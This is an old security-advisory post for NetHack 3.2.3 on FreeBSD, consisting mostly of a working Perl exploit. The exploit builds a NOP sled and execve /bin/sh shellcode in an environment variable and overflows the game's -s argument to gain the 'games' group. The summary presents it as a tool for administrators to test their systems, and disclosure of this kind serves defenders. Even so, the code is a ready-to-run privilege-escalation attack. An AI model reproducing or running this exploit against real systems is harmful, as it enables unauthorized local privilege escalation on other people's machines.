[EXPL] NetHack 'games' Privileges Escalation Exploit Code (-s)

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Date: 02/17/03

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      NetHack 'games' Privileges Escalation Exploit Code (-s)
    ------------------------------------------------------------------------

    SUMMARY

    The following exploit (written in Perl) can be used by an administrator to
    test his NetHack (game) installation for a overflow vulnerability in an
    internal buffer of the NetHack game. The vulnerability would allow a local
    attacker to gain 'game' privileges.

    DETAILS

    Vulnerable systems:
     * NetHack version 3.2.3

    Exploit:
    #!/usr/bin/perl
    # knud vs. /usr/ports/games/nethack32 / nethack-3.2.3
    # freebsd edition.. gives gid games
    # bug sent to various lists by 'tsao_4sh0@hushmail.com'

    $len = 1000;
    $ret = 0xbfbffb7f; # on my 4.7-RELEASE
    $nop = "\x90";
    $offset = 0;
    $shellcode ="\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56". #freebsd
    29bytes
                "\xb0\x3b\x50\xcd\x80\xe8\xed\xff\xff\xff\x2f". #execve
    /bin/sh
                "\x62\x69\x6e\x2f\x73\x68\x23";
    #zillionATsafemode.org

    if (@ARGV == 1) {
        $offset = $ARGV[0];
    }
    for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
        $buffer .= $nop;
    }
    $buffer .= $shellcode;
    print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
    $new_ret = pack('l', ($ret + $offset));
    for ($i += length($shellcode); $i < $len; $i += 4) {
        $buffer .= $new_ret;
    }
    local($ENV{'EGG'}) = $buffer;
    $cakeman = $new_ret x 57 ;
    exec("/usr/local/share/nethack/nethack -s $cakeman");

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:kain@ircop.dk> Knud Erik
    Højgaard.

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